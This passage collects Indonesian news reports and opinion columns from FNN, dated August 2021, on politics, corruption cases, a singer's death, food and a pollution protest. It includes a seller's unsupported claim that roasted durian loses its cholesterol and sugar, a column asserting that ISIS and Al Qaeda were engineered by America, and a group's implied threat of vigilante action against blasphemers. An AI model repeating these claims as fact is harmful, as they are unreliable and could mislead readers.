Jakarta, FNN - Gubernur DKI Jakarta, Anies Baswedan mengenang penyanyi legendaris asal Sumatera Barat, Elly Kasim, sebagai sosok peduli, terutama terhadap permasalahan di Jakarta. "Saya mengenalnya lebih ke pribadi, pribadi yang selalu peduli. Saya banyak berinteraksi beberapa tahun ini dan di luar dari dunia film dan lain-lain. Saya melihat almarhumah sebagai orang pribadi yang peduli pada masalah-masalah di Jakarta," kata Anies Baswedan, di rumah duka Elly Kasim, di Jl. Beton No 68, Kayu Putih, Jakarta Timur, Rabu, 25 Agustus 2021. Anies Baswedan mengatakan sering berkomunikasi dengan mendiang Elly Kasim beberapa waktu belakangan, dan menyebut ia sering diberikan masukan. "Elly Kasim sering memberikan masukan, sering menitipkan pesan dan warga yang selalu perhatian pada masalah di Jakarta, itu yang saya rasakan," ujar Anies, sebagaimana dikutip dari Antara. Anies berharap segala amal kebaikan yang dilakukan oleh Elly Kasim semasa hidupnya dapat diterima di sisi-Nya. "Saya yakin insya Allah beliau husnul khotimah dan insya Allah dari kebaikannya, amal jariyahnya menjadi pahala tanpa henti," ujar Anies. Sebelumnya, penyanyi legendaris asal Sumatera Barat, Elly Kasim, meninggal dunia pada usia 76 tahun di RS MMC, Kuningan, Jakarta Selatan, akibat peradangan usus. Elly Kasim merupakan seorang penyanyi yang sering membawakan lagu-lagu berbahasa Minang. Salah satu karyanya yang paling terkenal adalah lagu berjudul "Ayam Den Lapeh". Almarhumah Elly Kasim rencananya akan dimakamkan di San Diego Hills, Karawang, Jawa Barat, usai sholat jenazah terlebih dahulu di mushola dekat kediamannya di Kayu Putih, Jakarta Timur. (MD).

Bagi Penggemar, Medan Tawarkan Durian Bakar

Medan, FNN - Tidak hanya kelapa hijau muda bakar, kini penggemar durian pun bisa menikmati hal yang sama. Di Kota Medan, Sumatera Utara ini menawarkan durian bakar, yang aromanya sudah tidak terlalu menyengat, tetapi rasanya masih nikmat ketika disantap. Penjual durian bakar, Patar Siahaan, di Medan, Rabu, 25 Agustus 2021 mengatakan, ia menemukan cara baru itu setahun lalu sejak pulang dari rumah temannya yang ada di Pulau Jawa. Buah durian dibakar bagian kulitnya sekitar sepuluh menit. Dia kemudian mengadaptasi hal tersebut. Sejak dua pekan lalu, ia sudah mulai mempunyai pelanggan loyal terhadap durian bakar. Para pelanggan, kata dia, mengaku menyukainya karena bau yang menyengat menjadi berkurang, rasa lebih enak. Mereka meyakini dapat menghilangkan kandungan kolestrol dan gas yang ada dalam buah duran yang dibakar itu. Harga yang ditawarkan juga normal seperti beli durian biasa. Mulai dari kisaran Rp 30.000 hingga Rp 70.000 per buah sesuai dengan ukuran durian yang dipilih pelanggan. Sementara berbicara khasiatnya, ia mengatakan, buah durian atau bernama latin Durio Zibethinus itu setelah dibakar, kolesterol dan kadar gulanya akan hilang. "Yang hipertensi pun makan durian bakar tidak berpengaruh tensinya. Satu lagi, begitu kita makan durian bakar, tidak ada bau durian di mulut kita," katanya, sebagaimana dikutip dari Antara. Sementara Ayana, salah seorang penikmat durian bakar mengatakan, durian bakar memiliki tekstur yang jauh lebih lembut dari buah durian biasa yang tidak melalui proses pembakaran. "Rasanya lebih enak, dia kayak lebih lemak gitu sih. Kita makan itu kayak megang mentega, lebih lembut dan lebih lemak," katanya. (MD).

Tanggapi Pidato Harris China Ingatkan Amerika Serikat Soal Afghaninstan

Beijing, FNN - China menanggapi pernyataan Wakil Presiden Amerika Serikat Kamala Harris tentang isu Laut China Selatan dengan mengingatkan AS soal isu Afghanistan. "AS bisa datang dan pergi kapan saja tanpa berkonsultasi dengan komunitas internasional, bahkan sekutunya. Ini dapat mencoreng, menekan, memaksa, dan menggertak negara lain sesuka hati tanpa menghormati. Hanya demi menjaga AS sebagai negara utama sesuai keinginannya," kata juru bicara Kementerian Luar Negeri Wang Wenbin di Beijing. Dia melihat situasi terakhir di Afghanistan menjadi pengingat bagi masyarakat tentang sifat asli dari apa yang disebut perintah AS. "AS selalu berusaha membenarkan egoismenya dan menindas dengan 'aturan' dan 'ketertiban'. Tetapi sekarang berapa banyak orang yang akan percaya?" kata Wenbin. Sebelumnya dalam pidato di Singapura, Kamala Harris menuduh China memaksa dan mengintimidasi untuk mendukung klaim yang tidak berdasarkan hukum di Laut China Selatan. Pada Senin (23/8), Wenbin juga mengatakan AS merupakan faktor terpenting dalam situasi terkini di Afghanistan sehingga harus tetap menjalankan tanggung jawabnya. "Pihak AS berulang kali dan secara eksplisit berjanji akan membantu Afghanistan dalam menjaga stabilitas, mencegah kekacauan, dan mendukung perdamaian. AS harus bisa menyesuaikan kata-kata dengan perbuatannya," kata dia, sebagaimana dikutip dari Antara. Menurut Wenbin, China telah lama memberikan bantuan dalam pembangungan ekonomi dan sosial di Afghanistan. (MD).

Survei Fixpoll: La Nyalla Mattalitti Masuk Sepuluh Besar Capres

Jakarta, FNN - Direktur Eksekutif Fixpoll Indonesia Muhammad Anas RA menyatakan bahwa Ketua Dewan Perwakilan Daerah (DPD) RI LaNyalla Mahmud Mattalitti masuk dalam sepuluh besar calon potensial presiden." "LaNyalla Mattalitti masuk dalam sepuluh besar calon potensial sebagai presiden," ucap Muhammad Anas RA dalam keterangan tertulis yang diterima oleh ANTARA di Jakarta, Selasa. Dalam pertanyaan tertutup, LaNyalla menempati posisi sepuluh besar dengan perolehan 0,8 persen. Ia berada di atas nama seperti Menteri BUMN Erick Thohir yang mendapat 0,7 persen, Ketua Umum Golkar Airlangga Hartarto 0,5 persen, serta Ketua Umum PKB Muhaimin Iskandar 0,3 persen. Persentase LaNyalla juga berada di atas Ketua Umum PKS Ahmad Syaikhu, Ketua MPR Bambang Soesatyo, dan Menteri Dalam Negeri Tito Karnavian yang masing-masing memperoleh 0,2 persen. Anas menjelaskan, Menteri Pertahanan Prabowo Subianto masih menempati posisi teratas survei dengan persentase sebesar 20,7 persen. Gubernur Jawa Tengah Ganjar Pranowo dan Gubernur DKI Jakarta Anies Baswedan saling berdekatan, dimana masing-masing memperoleh 15,2 persen dan 12,8 persen. Posisi keempat ada Gubernur Jawa Barat Ridwan Kamil dengan 7,8 persen, Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono dengan 6,9 persen, Menteri Pariwisata dan Ekonomi Kreatif Sandiaga Uno 4,9 persen, dan Gubernur Jawa Timur Khofifah Indar Parawansa dengan 2,7 persen. "Ketua DPR Puan Maharani dan mantan Panglima TNI Jendral (Purn) Gatot Nurmantyo masing-masing mendapatkan 2,5 dan 1,1 persen," ucapnya. Selain itu, Anas menjelaskan bahwa di dalam survei yang dilakukan, ia juga mengajukan pertanyaan terkait isu presiden tiga periode. Hasilnya, sebanyak 53,4 persen masyarakat tak setuju dengan adanya isu tersebut. Masyarakat mayoritas tak setuju jika Jokowi menjabat sebagai presiden tiga periode. Begitu pun jika dipasangkan dengan Prabowo pada Pilpres 2024," ungkap Anas. Sebanyak 43,8 persen masyarakat tak setuju jika Jokowi menjabat sebagai presiden tiga periode meski dipasangkan dengan Prabowo. Akan tetapi, terdapat 14,4 persen yang menyuarakan persetujuan mereka. Survei Fixpoll Indonesia melibatkan 1.240 responden di seluruh Indonesia yang diwawancarai langsung pada 16 Juli - 27 Juli 2021. Untuk margin of error survei sebesar 2,9 persen dengan tingkat kepercayaan 95 persen. (sws)

Kejagung Siap Hadapi Gugatan Terkait Sitaan Asabri

Jakarta, FNN - Kejaksaan Agung (Kejagung) menyatakan siap menghadapi gugatan yang dilayangkan oleh perusahaan Panama, Shining Shipping SA terkait penyitaan 51 persen saham PT Trada Alam Minera Tbk pada PT Hanochem Shipping milik Heru Hidayat, terdakwa korupsi PT Asabri. Direktur Penyidikan Jaksa Agung Muda Tindak Pidana Khusus (Dirdik Jampidsus) Kejagung RI Supardi, Selasa, mengatakan tidak masalah dengan gugatan tersebut dan siap menghadapinya. "Hak setiap orang mengajukan gugatan, kami pasti tetap akan menghadapi gugatan itu. No problem," ujar Supardi. Menurut Supardi, pihaknya mengetahui adanya gugatan tersebut dari rekan-rekan media. Namun demikian, gugatan tidak akan menghambat proses hukum yang sedang ditangani Kejagung RI terkait korupsi Asabri. "Gugatan sama sekali tidak menghalangi penyelesaian perkara," katanya pula. Perusahaan Panama, Shining Shipping SA menggugat Kejagung RI ke Pengadilan Tata Usaha Negara (PTUN) Jakarta terkait penyitaan 51 persen saham PT Trada Alam Minera Tbk pada PT Hanochem Shipping. Penyitaan itu dilakukan karena Komisaris Utama (Komut) PT Trada Alam Minera Tbk Heru Hidayat menjadi terdakwa dalam kasus dugaan korupsi pengelolaan keuangan dan dana investasi pada PT Asabri tahun 2016-2019. Gugatan pun dilayangkan ke PTUN Jakarta. Berdasarkan Sistem Informasi Penelusuran Perkara (SIPP) PTUN Jakarta, Senin (23/8), gugatan itu mengantongi nomor 199/G/2021/PTUN.JKT Shining Shipping SA mengaku kaget dengan penyitaan itu, karena tidak tahu apa-apa. Dalam gugatannya, Shining Shipping meminta hakim pengadilan mengabulkan gugatannya untuk seluruhnya. Menyatakan batal atau tidak sah Surat Perintah Penyitaan Direktur Penyidikan Jaksa Agung Muda Tindak Pidana Khusus No Print 141/F.2/Fd.2/05/2021 tanggal 20 Mei 2021 sebagaimana dinyatakan dalam Berita Acara Penyitaan tanggal 24 Mei 2021 dan Berita Acara Penyitaan tanggal 24 Mei 2021 mengenai penyitaan terhadap 51 persen saham PT Trada Alam Minera Tbk pada PT Hanochem Shipping Lalu, memerintahkan tergugat (Kejagung, Red) untuk mencabut Surat Perintah Penyitaan Direktur Penyidikan Jaksa Agung Muda Tindak Pidana Khusus No Print 141/F.2/Fd.2/05/2021 tanggal 20 Mei 2021 sebagaimana dinyatakan dalam Berita Acara Penyitaan tanggal 24 Mei 2021 dan Berita Acara Penyitaan tanggal 24 Mei 2021 mengenai penyitaan terhadap 51 persen saham PT Trada Alam Minera Tbk pada PT Hanochem Shipping. Shining Shipping juga meminta hakim pengadilan untuk menghukum tergugat membayar biaya yang timbul dalam perkara ini. Tersangka Heru Hidayat saat ini tengah menjalani sidang bersama tujuh terdakwa lain, termasuk mantan Dirut Asabri Mayjen TNI (Purn) Adam Rachmat Damiri. Mereka didakwa korupsi hingga merugikan negara sebesar Rp22,78 triliun. Selain itu, Heru bersama Benny Tjokrosaputro dan Jimmy Sutopo juga didakwa dengan tindak pidana pencucian uang. Sementara itu, untuk kedua kalinya Kejagung digugat terkait perkara dugaan tidak pidana korupsi di PT Asabri. Sebelumnya, awal Juli lalu Kejagung RI juga digugat praperadilan terkait penyitaan aset oleh Jimmy Tjokrosaputro yang merupakan adik dari tersangka Asabri, Benny Tjokrosaputro. Gugatan terkait penyitaan aset berupa tanah yang berdiri bangunan Hotel Brothers Inn di Jawa Tengah dan Solo, yang menurut termohon aset tersebut tidak ada sangkut pautnya dengan perkara Asabri. Namun, Pengadilan Negeri Jakarta Selatan menolak gugatan, karena penyitaan yang dilakukan Kejagung RI sah. (sws)

KPK Hilang Akal Sehat

By M Rizal Fadillah RENCANA KPK untuk melibatkan nara pidana koruptor dalam melakukan penyuluhan anti korupsi adalah sesuatu hal di luar akal sehat. Koruptor itu bukan teladan tetapi profil yang memalukan. Aneh, apa yang sebenarnya ada dalam benak para pimpinan KPK saat ini ? Sejak Firli Bahuri memimpin KPK rasanya lembaga anti-rasuah ini ruwet terus. Firli memang tidak kompeten. Nafsu Kepolisian menempatkan perwiranya dimana-mana sangat tidak konstruktif. Tidak mampu menangkap Masiku, gonjang-ganjing TWK, dan kini koruptor yang menjadi penyuluh anti korupsi. Fasilitas Lapas untuk koruptor itu ternyaman yang jauh bila dibanding dengan pelaku kejahatan lain seperti pembunuh, perampok, atau teroris. Dengan kenyamanannya koruptor tidak "menderita" sehingga psikologis efek jera minim. Bahkan koruptor dianggap bukan penjahat. Dalam kasus terkini korupsi Juliari Batubara ternyata Hakim masih bersimpati atau mengasihani atas hinaan publik. Lalu menjadikan kecaman tersebut sebagai alasan hukum untuk meringankan. Memberi penghargaan napi koruptor dengan menjadikan penyuluh justru memancing orang untuk tidak takut korupsi. Bahayanya jika ternyata koruptor itu justru menyampaikan pola atau kisi-kisi bagaimana caranya agar korupsi itu aman. Belajar atas kebodohan dirinya. KPK seperti kehabisan sumber daya penyuluh yang baik. Publik melihat terjadi penyingkiran pada orang-orang yang berdedikasi tinggi. Kasus TWK adalah contoh. Maka ironi sekali jika kini KPK justru merekrut napi koruptor sebagai penyuluh. Hal ini bagai menyapu sampah dengan sapu yang sudah menjadi sampah, menyelesaikan masalah dengan masalah, atau pembohong yang mengajak untuk jujur. Mereka masih berstatus narapidana bukan mantan yang sudah bertaubat atau teruji di masyarakat atas perilaku baiknya. Ketika seorang petinggi partai dan anggota DPR membandingkan dengan BNPT yang juga merekrut mantan teroris maka pembandingan tersebut tidak relevan. Terorisme tidak berorientasi pada kenikmatan hasil bahkan memiliki doktrin pengorbanan total. Motivasi keuntungan kecil dan di dalam penjara termasuk yang berat perlakuannya. Mana ada teroris bisa jalan jalan ke luar apalagi beli rumah di belakang Lapas? Teroris itu banyak yang menjadi korban dari sebuah skenario jahat. Lihat terorisme global dimana ISIS dan Al Qaida yang tak bisa dipisahkan dari rekayasa Amerika. Begitu juga dengan Jamaah Islamiyah atau Anshorud Daulah ini organisasi apa? Natural atau artifisial? Berjuang untuk agama atau abal-abal? Rasanya tidak ada koruptor yang menjadi korban dari jebakan atau permainan. Mereka berbuat untuk suatu kenikmatan yang hampir seratus persen disadari. Menguntungkan diri atau orang lain. Mencuri uang negara, suap, atau hasil mark up. Hanya kesialan saja yang menyebabkan perbuatannya diketahui sehingga kenikmatannya menjadi terganggu. KPK yang merekrut napi koruptor untuk penyuluhan anti korupsi adalah eskalasi dari KPK yang terbukti semakin hilang akal. *) Pemerhati Politik dan Kebangsaan

KPK Akan Dalami Vendor Bantuan Sosial yang Tidak Punya Kualifikasi

Jakarta, FNN - Komisioner KPK Alexander Marwata menyebut lembaga penegak hukum yang dipimpinnya akan mendalami vendor-vendor bantuan sosial (bansos) di Kementerian Sosial yang disebut dalam putusan Juliari Batubara tidak punya kualifikasi sebagai penyedia. "Banyak vendor yang tidak punya kualifikasi. Hanya sebagai broker, akan dilihat data yang kita miliki kemudian ditambah dengan fakta hukum persidangan," kata Alexander dalam konferensi pers Kinerja KPK Semester 1 tahun 2021, di gedung KPK Jakarta, Selasa, 24 Agustus 2021. Dalam putusan mantan Menteri Sosial Juliari Batubara pada Senin (23/8), majelis hakim menyebutkan hampir seluruh perusahaan penyedia bantuan sosial berupa sembako dalam penanganan Covid-19 di Kemensos tidak memenuhi kualifikasi dan tidak layak menjadi vendor. Penyebabnya adalah tidak ada seleksi terhadap calon penyedia bansos karena vendor-vendor telah ditentukan oleh Juliari sehingga tim teknis tidak lagi melakukan verifikasi dokumen terhadap calon penyedia. "Dari fakta-fakta persidangan, jaksa penuntut umum akan membuat resume terkait fakta-fakta hukum yang terungkap di persidangan, bagaimana misalnya dengan pembelian barang dan jasa, kalau (perkara Juliari) kemarin kan masih suap, ini pembelian barang dan jasanya banyak laporan dari media dan masyarakat," ungkap Alex, sebagaimana dikutip dari Antara. Terkait dengan langkah hukum selanjutnya dalam perkara Juliari, Alex menyebut KPK menunggu keputusan Juliari. "Dari sisi tuntutan dan putusan hakim sudah lebih dari apa yang kami tuntut. Jika terdakwa banding kami juga akan mengajukan memori banding, kalau terdakwa terima yang kami harus fair. Apa yang kami tuntut sudah dipenuhi hakim. Jadi kami menunggu sikap terdakwa apakah akan melakukan banding atau tidak," tambah Alex. Dalam perkara tersebut Menteri Sosial 2019-2020 Juliari Batubara divonis 12 tahun penjara ditambah denda Rp 500 juta subsider 6 bulan kurungan. Ia terbukti menerima suap Rp 32,482 miliar dari 109 perusahaan penyedia bantuan sosial sembako Covid-19 di wilayah Jabodetabek. Vonis tersebut lebih berat dibanding tuntutan Jaksa Penuntut Umum (JPU) KPK yang meminta agar Juliari Batubara divonis 11 tahun penjara ditambah denda Rp 500 juta subsider 6 bulan kurungan. Juliari pun diminta untuk membayar uang pengganti sejumlah Rp 14.597.450.000 subsider 2 tahun penjara. Politikus PDIP tersebut juga dicabut hak untuk dipilih dalam jabatan publik selama 4 tahun sejak selesai menjalani pidana pokok. (MD).

Persaudaraan Alumni 212 Minta Setop Terhadap Penodaan Agama

Jakarta, FNN - Persaudaraan Alumni (PA) 212 meminta semua elemen bangsa agar menghentikan atau menyetop penodaan terhadap agama apa pun. Sebab, hal itu sangat membahayakan persatuan dan kesatuan bangsa serta merusak kerukunan umat beragama. Kini, kasus penodaan terhadap agama Islam yang sedang ramai disorot adalah yang dilakukan Muhammad Kece. "Setop penodaan terhadap agama apa pun. Aparat penegak hukum harus tegas dan tidak pandang bulu membawa penoda agama ke meja hijau, " kata Ketua Umum PA 212, Slamet Ma'arif kepada wartawan, di Masjid Baiturrahman, Jln. Sahardjo, Menteng, Jakarta Selatan, Selasa, 24 Agustus 2021. Dalam kasus penodaan agama yang dilakukan Muhammad Kece, Slamet meminta polisi bertindak cepat dan tegas. "Polisi harus segera menangkapnya (Muhammad Kece)," katanya pada acara yang dihadiri Ketua Umum Front Persaudaraan Islam, Awit Mashuri; Ketua Umum Gerakan Nasional Pengawal Fatwa Ulama, Yusuf Muhammad Martak; pengacara Habib Rizieq Shyhab, Aziz Yanuar dan sejumlah ulama lainnya. Slamet menjelaskan, siapa pun yang melakukan penodaan terhadap agama apa pun harus ditindak tegas. Para penoda agama yang ditangani kepolisian tidak cukup menyampaikan permohonan maaf. Meskipun yang melaporkan orang yang menista agama itu memaafkan, tetapi harus diproses secara hukum. "Gunanya, memberikan efek jera. Memberikan pelajaran agar tidak mengulangi perbuatannya. Jadi, biarkan diproses sampai pengadilan, dan hakim lah yang memutuskan bersalah atau tidak," ujarnya. Mengenai Muhammad Kece, Slamet mengatakan, kasusnya menjadi pertaruhan bagi kepolisian. Sebab, ucapannya sudah menjadi pemantauan umat beragama se-Indonesia. Pada kesempatan itu, Slamet menyampaikan tiga sikap PA 212, menyangkut penodaan agama. Pertama, menuntut pemerintah, khususnya kepolisian dan kejaksaan serta kehakiman agar bersikap tegas dan sigap untuk menangkap dan menahan serta mengadili siapa saja tanpa terkecuali yg menistakan agama apa saja di Indonesia sesuai amanat undang-undang anti penodaan agama yang tertuang dalam Perpres Nomor 1 tahun 1965 dan KUHP pasal 156 A. Kedua, jika pemerintah dengan sengaja membiarkan para penista agama, maka jangan salahkan bila umat beragama mengambil langkahnya sendiri untuk menghakimi para penista agama. Ketiga, menyerukan kepada semua elemen bangsa Indonesia supaya secara bersama-sama menyetop penodaan agama. (FNN).

Cemari Lingkungan, Asap Pembakaran Limbah RSUD Kudus Diprotes Warga

Kudus, Jateng, FNN - Warga Desa Ploso, Kecamatan Jati, Kabupaten Kudus, Jawa Tengah, melakukan aksi protes terhadap RSUD Loekmono Hadi Kudus terkait asap pembakaran limbah medis dan rumah tangga dari insinerator yang diduga mencemari lingkungan sekitar, Selasa. Aksi protes warga dilakukan dengan mendatangi RSUD Loekmono Hadi Kudus sambil membawa sejumlah poster berisi tulisan "rakyat butuh udara bersih dan selamat datang kampung polusi". "Kasus polusi udara dari cerobong asap alat insinerator milik RSUD Loekmono Hadi Kudus bukanlah yang pertama, karena sebelumnya juga pernah terjadi. Kami berharap kedatangan kedua kami ke rumah sakit ini merupakan yang terakhir," kata perwakilan warga Desa Ploso Suwito yang ditemui usai audiensi dengan pihak RSUD Loekmono Hadi Kudus, Selasa. Ia mengakui sekitar dua atau tiga bulan sebelumnya sudah ada protes warga, namun responsnya kurang memuaskan, sehingga hari ini (24/8) kembali melayangkan protes karena asap yang keluar dari cerobong dari alat incineratornya berwarna hitam. Dampak polusi udara yang keluar dari cerobong asap milik RSUD Loekmono Hadi tersebut, kata dia, membuat warga tidak bisa menikmati udara segar di pagi hari karena berbau tidak enak serta mengakibatkan anak-anak mudah terserang batuk dan sesak nafas. Sementara itu, Wakil Direktur Umum dan Keuangan RSUD Loekmono Hadi Kudus Sugiarto mengatakan dalam waktu dekat bakal melakukan perbaikan cerobong asap dari rumah sakit agar tidak mencemari kondisi permukiman di sekitar rumah sakit. Dari hasil audiensi dengan perwakilan warga yang dihadiri Kepala Desa Ploso Masud, disebutkan bahwa selama belum selesai diperbaiki tidak boleh ada aktivitas pembakaran sampah. "Pembakaran dari insinerator, itu dari limbah rumah tangga dan sebagian limbah medis yang harus dibakar," ujarnya. Audiensi tersebut juga menghadirkan pihak teknisi yang akan melakukan perbaikan insinerator agar asap yang keluar melalui cerobong tidak berwarna hitam pekat. Selama melakukan perbaikan juga akan melibatkan warga Desa Ploso sebagai pengawas untuk memastikan hasil perbaikannya benar-benar sesuai standar lingkungan hidup dan asap yang keluar juga tidak menimbulkan protes warga. (sws)

APPBI Pastikan Mal di Bandung Sudah Layak Dikunjungi Meski Masih PPKM

Bandung, FNN - Asosiasi Pengelola Pusat Belanja Indonesia (APPBI) Bandung Raya memastikan pusat perbelanjaan atau mal sudah layak dikunjungi masyarakat di saat status Pembatasan Pemberlakuan Kegiatan Masyarakat (PPKM) di Kota Bandung turun ke Level 3. Ketua APPBI Bandung Raya Handianto Lie mengatakan pihak pengelola seluruh 23 mal yang ada di Kota Bandung telah menerapkan protokol kesehatan yang sangat ketat sesuai dengan anjuran pemerintah. "Kita protokol kesehatan jalan, kita tertib sesuai aturan, mulai dari masuk ke mal hingga di tenant-tenant," kata Handiyanto Lie di Bandung, Jawa Barat, Selasa. Selain itu, menurutnya sudah hampir 100 persen pekerja di mal telah mengikuti vaksinasi COVID-19. Para pekerja mal yang belum tertampung oleh program vaksinasi pekerja mal pun juga mengikuti vaksinasi masing-masing secara mandiri. "Pekan ini di Bandung Raya mungkin bakal semuanya tervaksinasi, karena kemarin-kemarin itu sisa 6 ribu (pegawai belum divaksin), tapi sekarang mereka banyak yang ikut vaksinasi di tempat lain secara mandiri," kata dia. Dengan begitu, ia pun memastikan mal di Kota Bandung sejauh ini aman untuk dikunjungi. Masyarakat, kata dia, tidak perlu ragu untuk datang ke mal selama sudah mengikuti vaksinasi. Dia pun mengimbau kepada masyarakat yang memiliki uang berlebih agar juga kembali mendatangi mal. Pasalnya jika mal terus sepi dari pengunjung, maka kondisi ekonomi para tenant-tenant atau pedagang di mal akan terus mengkhawatirkan. "Sekarang juga restoran sudah mulai bisa dine in, meskipun dibatasi 25 persen, ini membantu lah ya, meski belum signifikan buat omzetnya," kata dia. (mth)

Menjilat Demi Bangsa, Negara, dan Agama, Opo Tumon?

Oleh Ady Amar*) NJILAT itu menjijikkan. Itu seperti anjing yang kerap menjilat-jilat, dan buat seorang muslim jilatannya itu najis, dan itu harus dibasuh tidak cukup pakai air, tapi juga dengan pasir. Kata njilat atau menjilat yang distempelkan pada seseorang, itu maknanya lebih menjijikkan dari jilatan anjing. Maka kata menjilat punya konotasi negatif, tidak cuma menjijikkan tapi juga dianggap manusia dengan karakter moral rendahan. Menjilat jadi alat atau senjatanya untuk bertahan hidup. Punya jabatan sedikit saja, maka ia tampil over acting dengan gaya menjilat-jilat berlebihan membela atasannya. Lakunya itu memang sudah diniatkan, dan itu agar jabatannya setidaknya bisa bertahan, syukur-syukur bisa dapat bonus jabatan lebih sebagai komisaris. Jika ikhtiarnya direspons dengan baik oleh atasannya, maka ia akan makin menjilat-jilat lagi. Menjilat dianggapnya langkah efektif untuk setidaknya mengekalkan jabatan. Semua memang sudah diperhitungkan dengan cermat. Jika tidak sekarang, kapan lagi. Itu jadi kredonya. Maka, kesempatan yang didapat dieksplornya habis-habisan. Ia sudah tidak lagi memperhitungkan manusia lain nek atas ulahnya dan lalu ingin muntah, itu tidak jadi pertimbangannya. Bisa jadi pikirnya, besok saat pergantian pimpinan, belum tentu ia akan ditunjuk lagi sebagai "tombak" untuk menyalak. Maka masa bodoh dengan pihak lain yang menganggapnya menjilat berlebihan. Bahkan jika saja ia dijuluki Raja Penjilat pun, ia tidak keberatan. Ia menikmati saja hal yang orang lain merasa tabu, dengan tidak berharap mendapat julukan demikian. Bahkan ia pun cuek saja dengan munculnya mural mirip Ngabalin, di Bogor. Mural dengan mata ditutup, tertulis di situ "504 Error", yang disekitarnya ada beberapa ekor kambing. Sindiran untuknya, bahwa orang yang menganggap gambar yang mirip Jokowi dengan tulisan 404: Not Found, itu ekspresi, disebutnya sebagai manusia kelas kambing. Harmoko, Ruhut dan Ngabalin Sejarah para penjilat (flatterer) memang panjang, dan pastinya dikenang dengan buruk sepanjang massa. Kita masih ingat, kebiasaan yang selalu menyebut nama presiden, jika pejabat itu menyampaikan keterangan, meskipun itu keterangan remeh temeh, tetap saja nama presiden diseretnya. Siapa yang tidak kenal dengan kalimat "menurut petunjuk Bapak Presiden", jadi andalannya. Ialah Pak H. Harmoko, Menteri Penerangan RI, di era Presiden Soeharto. Harmoko di setiap memberikan keterangan selalu saja kalimat "menurut petunjuk Bapak Presiden" itu tidak pernah absen diucapkan. Bahkan tidak cuma sekali kalimat itu meluncur dari mulutnya, pada setiap memberi keterangan, bisa beberapa kali. Maka kalimat Harmoko itu jadi guyonan tidak saja pelawak yang memelesetkan dengan apa saja, tapi juga kalangan umum sering memakai kalimat itu untuk lucu-lucuan. Kalimatnya Harmoko itu masih kontekstual, meski orang menganggapnya itu juga masuk kriteria menjilat. Harmoko-lah sepertinya pribadi yang mengawali komunikasi dengan gaya menjilat. Tapi sekali lagi, Harmoko menyampaikan kalimat ikoniknya itu masih dalam ranah sewajarnya. Ada lagi politisi yang mantan pengacara, Ruhut Sitompul. Disebut politisi kutu loncat. Setidaknya tiga partai ia jelajahi. Awalnya saat Orde Baru, ia ada di Golkar. Setelah Partai Demokrat memenangkan Susilo Bambang Yudhoyono (SBY) jadi presiden, Ruhut sudah ada dalam barisan Partai Demokrat. Selalu nama Pak SBY dibawa-bawanya, dan dipuji-pujinya setinggi langit. Gaya memujinya memang berlebihan, menjilatnya tidak ketulungan. Setelah Pak SBY tidak lagi menjadi presiden, Ruhut sudah nemplok di PDI-P, partai yang menjadikan Joko Widodo jadi presiden. Kehadiran di partai barunya, sepertinya tidak diterima sepenuh hati. Mungkin Ruhut lupa, bahwa saat di Partai Demokrat, ia kerap usil menghajar Ibu Megawati Soekarnoputri. Meludahi orang boleh lupa, tapi yang diludahi mustahil lupa. Menjadi ciri Ruhut, seperti biasanya, partai lama yang ditinggalkan diserang habis-habisan. Dan saat Partai Demokrat pimpinan Agus Harimurti Yudhoyono (AHY), dibegal lewat KLB Deli Serdang, Sumatera Utara, Ruhut pun tampak senang, dan pembegal itu justru dibelanya. Tapi di atas semuanya itu, tampaknya hanya Ali Mochtar Ngabalin yang paling "berkualitas" jilatannya. Ia menikmati gaya menjilatnya itu, tentu dengan sadar. Dan itu bagian dari yang diikhtiarkan. Ngabalin punya tujuan dalam memakai komunikasi gaya menjilatnya itu. Strategi Ngabalin efektif, yang tidak dipunya Ruhut yang tampil sporadis, asal bicara tanpa tujuan pasti. Ruhut hanya senang menghantam lawannya dengan makian, yang cuma berharap orang lain bisa tertawa. Ruhut jadi politisi salah memilih tempat, jika jadi pelawak ia mungkin lumayan lucu juga. Ali Mochtar Ngabalin, pernah jadi aktivis dakwah, dan aktivitas-aktivitas berbau keislaman lainnya. Tapi saat ia menjadi Ahli Utama Kantor Staf Presiden (KSP), ia sepertinya sekaligus jadi pembela Presiden Jokowi paling depan. Ngabalin total menyerang siapa saja yang coba-coba mengoreksi langkah Jokowi. Ngabalin tidak perduli jika harus berhadapan dengan tokoh-tokoh Islam aktivis dakwah yang dulu berjuang bersana mengikhtiarkan kebaikan. Semua dianggapnya musuh olehnya, jika mengoreksi-mengkritik kebijakan Presiden Jokowi. Di mata Ngabalin, kebenaran atau yang paling benar hanya Jokowi. Setidaknya ia men-setting pikirannya demikian. Maka yang lain, yang mengoreksi kebijakan itu salah, meskipun pihak lain itu mengoreksi dengan data. Ngabalin menikmati perannya. Karenanya, ia pun diganjar sebagai Komisaris Pelindo III, itu buah ikhtiarnya selama ini. Bahkan ia tidak berkeberatan disebut penjilat. Atau bahkan sekalipun disebut Raja Penjilat. Meski demikian, Ngabalin tetap seperti biasanya berdalih dengan dalih yang kuat meski dalih itu absurd, bahwa ia tidak keberatan disebut penjilat, itu semata karena ia menjilat demi bangsa, negara dan agama, opo tumon? Apa iya demikian? Mungkin Ngabalin sudah menganggap dirinya sebagai representasi negara. Karenanya, ia boleh menjadi apa saja, termasuk laku menjilatnya itu bagian dari kerja untuk bangsa dan negara. Maka jika diterus-teruskan, bisa pula suatu waktu Ngabalin mengkhianati penguasa, yang dibelanya saat ini, dan itu atas nama negara, bangsa dan agama. Tentu ini sekadar berandai saja, lho... (*) *) Kolumnis

BNPT Gandeng Pemkab Malang Bentuk Kawasan Khusus Terpadu Nusantara

Malang, Jawa Timur, FNN - Badan Nasional Penanggulangan Terorisme (BNPT) akan bekerja sama dengan Pemerintah Kabupaten Malang, Jawa Timur, untuk mengembangkan Kawasan Khusus Terpadu Nusantara. Kepala BNPT Komjen Pol Boy Rafli Amar, di Malang, Selasa, mengatakan bahwa penawaran untuk pengembangan Kawasan Khusus Terpadu Nusantara yang bertujuan untuk deradikalisasi berbasis ekonomi tersebut disambut baik oleh Pemerintah Kabupaten Malang. "Kawasan Khusus Terpadu Nusantara memiliki tiga fungsi, yakni deradikalisasi, ekonomi, dan pariwisata," kata Boy. Ia menjelaskan wilayah Jawa Timur menjadi salah satu "pilot project" untuk pengembangan Kawasan Khusus Terpadu Nusantara. Selain Jawa Timur, kawasan tersebut akan dikembangkan di Jawa Tengah, Jawa Barat, Sulawesi Tengah, dan Nusa Tenggara Barat. Menurutnya, pengembangan kawasan tersebut akan melibatkan para eks narapidana teroris (napiter), yang akan menjalani proses reintegrasi sosial bersama masyarakat yang ada di kawasan khusus tersebut. 